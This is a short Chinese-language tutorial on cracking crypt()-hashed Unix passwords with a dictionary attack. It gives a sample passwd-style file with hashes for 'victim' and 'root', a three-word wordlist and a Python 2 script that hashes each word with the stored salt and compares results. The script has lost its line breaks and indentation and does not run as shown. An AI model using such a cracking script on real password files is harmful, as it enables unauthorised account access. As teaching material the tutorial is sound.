使用crypt加密密码的暴力破解
在本文中,我们假设已经获取到用户密码的密文,从密文格式知道密码是通过crypt算法加密。下面我们尝试通过字典中的单词进行破解。
准备工作
先准备好我们获取到的密文文件。假设文件名为passwords.txt,文件内容如下:
victim: HX9LLTdc/jiDE: 503:100:Iama Victim:/home/victim:/bin/sh
root: DFNFxgW7C05fo: 504:100: Markus Hess:/root:/bin/bash
另外准备我们的字典文件。假设文件名为dictionary.txt,作为演示,假设字典中只有三个单词,如下所示:
get
apple
egg
实际可以在网上下载字典文件,包含字典中所有的单词。
总体思想
crypt算法是一种加密算法,在获取到密文到条件下,我们将字典中的单词作为明文使用crypt算法加密,将加密得到的密文和我们获取到的密文对比,如果一致,则密码得到破解。
python中已有自带到crypt库。要计算一个明文的密文,只需调用crypt.crypt(),并将明文和salt作为参数传递给它。
代码示例
使用python实现密码暴力破解的简单示例代码如下:
以下代码使用python2.*运行。
import cryptdef testPass(cryptPass):salt = cryptPass[0:2]dictFile = open('dictionary.txt','r')for word in dictFile.readlines():word = word.strip('\n')cryptWord = crypt.crypt(word,salt)if(cryptWord == cryptPass):print "[+] Found Password: "+word+"\n"returnprint "[-] Password Not Found.\n"returndef main():passFile = open('passwords.txt')for line in passFile.readlines():if ":" in line:user = line.split(':')[0]cryptPass = line.split(':')[1].strip(' ')print "[*] Cracking Password For: " + usertestPass(cryptPass)if __name__ == "__main__":main()